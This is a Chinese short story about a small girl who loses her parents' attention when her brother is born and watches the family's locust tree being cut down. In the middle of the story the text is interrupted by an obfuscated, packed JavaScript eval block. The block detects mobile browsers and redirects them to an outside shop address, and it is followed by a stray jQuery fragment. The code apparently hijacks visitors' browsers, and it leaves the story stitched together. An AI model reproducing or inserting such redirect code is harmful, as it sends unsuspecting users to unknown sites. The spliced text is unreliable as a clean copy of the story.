北风阵阵，雪花飘飘。
那时的她还没有很多意识，像一个游荡在躯壳之外的灵魂，看着自己用小小的身体在床上翻滚，引得男人和女人的掌声。
“真棒！”他们说。
“再翻一个让爸爸妈妈看看。”他们希冀地看向她。
她再次翻滚，两人掌声雷动，仿佛眼前不是三岁的女孩，是世界冠军。
她看见自己小小的身躯缩在女人的臂弯，对男人的靠近表示抗拒，女人笑着问她原因，她撅着嘴说：“爸爸有胡子！”
两人大笑起来，男人捂住脸，故作哀伤道：“不要爸爸了，爸爸的故事没人听了，爸爸好伤心啊。”
她好奇地转过去，被他一把抱过来，男人兴奋道：“抓到了！”
女孩挣扎着要妈妈抱，女人又笑着把她搂回来，缩近了和男人的距离。
“来，我们听爸爸讲故事。”
爸爸总是有无数的故事，这天讲得是她们门口的那棵树，他还没开始讲，女孩抢着开口：“我知道！它光秃秃的，是死了。”
男人摇摇头道：“它只是睡着了。”
享受着女儿好奇的眼神，男人继续道：“每棵树都是土地的精灵，会守护当地的子民。我们家门口那棵槐树，就是守护我们家宝贝长大的精灵。”
“什么是槐树？”
“槐树是祛除邪气的树，它能保佑每个孩子健健康康地长大，等到春天的时候就会开槐花，雪白雪白的很漂亮，到时候你就能看到了。”
她在男人低沉的声音中睡去，小手包裹着女人的手指，想要抓到梦里飞扬的槐花。
门口的槐树上了年纪，长在干旱的沟旁边。在寒冷的冬季中，落光了一切树叶，赤裸裸地展示着自身：一半的根裸露在外面，方便支持人们踩着它翻上这条沟，也方便小小的她坐在根里。
她被裹得严严实实，手里还抱着洋娃娃，有模有样地给槐树讲故事。
她说：“你是我的树。你睡着了，等到春天的时候，你就很漂亮了。”
她说完之后就手舞足蹈地唱起歌来，自顾自地唱起了《歌声与微笑》。
寒假前的最后一天，幼儿园举办了联欢会，挤满了大人和小孩，有的甚至站在了滑滑梯上。
她被打扮成一朵花的样子，被其他小朋友簇拥着上了舞台，在众目睽睽之下放声歌唱，笑着跳舞。
这是老师教的歌，妈妈为她编的舞，每个动作被牵动着妈妈为她设计的一切，她知道声调高到哪里，妈妈会做出什么表情，动作要扭成什么角度，老师会给出什么反应。
她翩翩起舞，在童真的歌声中，在大人希冀的注视下，在同伴仰慕的目光中，完美地结束表演。
掌声雷动，她享受着一切夸赞，轻盈地跳下舞台。园长张雪英稳稳地接住了她，笑眯眯地捏了捏她的脸蛋，将她带到台下妈妈的身边。
妈妈的脸上因此更添光彩，回去的路上，她不厌其烦地对每个路过的邻居诉说女儿的壮举，并对她重复着那句话：“你是妈妈的骄傲。”
世界把一切的美好都展示在她面前，三岁的她深信不疑。
某个夜晚，她被厚厚的棉服包裹着，一片皮肤裸露出来，贴到了铁制的三轮车上，冷空气闯入她细小的鼻腔，激得她打个了喷嚏。
有只手为她掖好被子，她迷迷糊糊地睁开眼，只看到深蓝的天空中，满天星光闪烁，自己像被什么东西运输走，耳畔传来父母小声交谈什么的事情，她继续睡过去。
那天晚上的记忆像是从她生命里抹去了一样，她再怎么回忆都想不起来。
她想不起来自己是怎么回的家，又是怎么穿上衣服，怎么打开房门，怎么坐到槐树上的，似乎那槐树真的是个精灵，为她布置好了一切。
天空泛起鱼肚白，鸡叫的声音从晨雾中飘散，雕塑一样坐在自家门前槐树的她，突然被赋予了意识。
这个意识支配着她行动：在没有任何大人在场的情况下，她从晨雾中出发，辗转了半个村子，找到园长张雪英的家，并在她惊恐的注视中开口：
“我要去看妈妈。”
她的声音非常平静。
她被带到医院，一群大人围在一起，爸爸在门口焦急地走来走去。一声啼哭之后，护士抱着一个花棉被走了出来，紧跟着被大人围住。爸爸抱着花棉被哭着说，你是爸爸的骄傲。
原来成为大人的骄傲，不用唱歌跳舞吗？她很困惑。
她听到大姑激动的声音，说咱家总算是有后了。她并不明白这是什么意思，但被大姑告知，以后不可以和妈妈一起睡觉，和爸爸一起翻跟头了。
园长将她推到妈妈的床前，她的两只眼睛盯着妈妈又哭又笑的脸。妈妈额间的碎发被汗黏住，把她漂亮的脸弄乱了，她伸出手，仔细帮妈妈整理干净。
妈妈笑着把那个花棉被给她看，婴儿紧闭着眼睛，张开嘴呼吸，两只手胡乱在空气中抓着什么。她的手还没抽回来，就被他抓住食指，他五个指头细小，力气也微弱，但她没有松开，只是维持着这个僵硬的动作。
爸爸大笑两声，蹲在她的身边，把他的手放回花棉被，道：“以后你就是姐姐了，要好好爱弟弟，知道吗？”
“姐姐？”
“对呀，你看弟弟多喜欢你啊。”
她茫然地抬起头，想说自己有名字，她的名字不叫姐姐。但引入她眼帘的不再是爸爸妈妈那四道熟悉又温柔的目光，而是一家三口的和谐画面。
他们的目光没有消失，只是转移到了那个花棉被上。
姐姐......她从今天有了新的名字，有了新的身份，叫姐姐。
她不再是只翻了两个滚就让父母感到骄傲的孩子，不再是幼儿园里众星捧月的领舞员。她的名字、荣誉、未来，都要跟一个后来的陌生灵魂分享，她不再是她自己，而是弟弟的姐姐。
成为姐姐的她更加听话乖巧，她不哭不闹，只是跟在他们的身后，默默回到自己的家。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895018|212835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爸爸的笑声也不再属于她，妈妈的怀抱不再属于她，她只能变得更乖一点。
爸爸说现在很多人都出去打工，自己也得出门闯荡了。她不明白这句话的意思。
妈妈说路费不够，之前还欠医院很多医药费，干脆把门口的槐树卖了吧。她明白这句话的意思。
两个大人转向她，看向她的眼神中带有亏欠和怜惜，她只是睁着眼，像空洞的洋娃娃。
她听懂了大人话里的含义，代价是那棵槐树。
村长带人来砍树的那天，河道上结了很厚的冰，他笨拙地在冰面上移动，像动画片里的狗熊。他挥起斧头的时候，太阳光通过那利刃反射，照得她眼睛发红。反作用力让他踉跄了两下，仰面滑到在冰面上，引得爸妈笑作一团。她仍然呆滞地盯着那棵树。
她听到了哭声。
村长跟着干笑两声，稳住了身形，大力挥动着斧头。
木屑在锋利的斧头下纷飞，像她梦里等不到春天的槐花，扑朔落到冰面上，槐花的味道，会像溅起的碎冰一样冷吗？那哭声越来越大，是纤维断裂的响声，还是生物被撕扯开的哀嚎？动物被伤害会流血，沉默的植物被伤害时，要怎么抗议呢？
村长奋力最后一击，槐树的躯干轰然倒塌，砸到坚硬的土地上，一切声音都戛然而止。
她骗了它，她没有保护好它，它死了，它再也不会开花了。
她脸上的所有表情，都在那些哭声中被冻结，只剩下沉默。
丑陋的树根盘旋在土坑旁边，她盯着看了又看，直到被妈妈叫回家里。她把目光投射到弟弟的摇篮，她总觉得那摇篮是槐树做的。
村里的幼儿园又开学了，每当下课铃声响起，幼儿园的小朋友总会冲向操场，欢笑和喧闹声将她淹没，似乎只有她记得，这里曾经被打造成一个舞台，而她站在舞台中央，是最完美的表演者。
园长张雪英说，课间的时间很长，她设置了铃声程序，把孩子们喜欢的歌收录进去，第一首是《歌声与微笑》。
熟悉的旋律响起，她胸口中那些细微的、类似蚂蚁啃食过的疼痛，此刻像火柴一样点燃了她。她找到一个远离操场的角落，像打造一个只属于她的舞台。她打直腰背，摆好动作。
起初，她的动作很僵硬，像在复习逐渐忘却的咒语。但随着她的回忆，过去的一点一滴被上了颜色，化身音符围绕在她的周围。她看见梦里的春天终于到来，她看见自己在槐树下跳舞，她看见雪白的槐花落在她的身上。
她绽放微笑，大声歌唱：
“请把我的歌，带回你的家，请把你的微笑留下。”
“请把我的歌，带回你的家，请把你的微笑留下。”
晨雾，或者是什么别的东西，模糊了她的视线。寒风呼啸而过，要将一切都尘封在这个冬天。
她跟着歌声转动一圈又一圈，在某个间隙，她看到了两个熟悉的身影，阳光正包裹着他们的影子，他们温柔又慈祥地向她走来，笑着叫她的名字。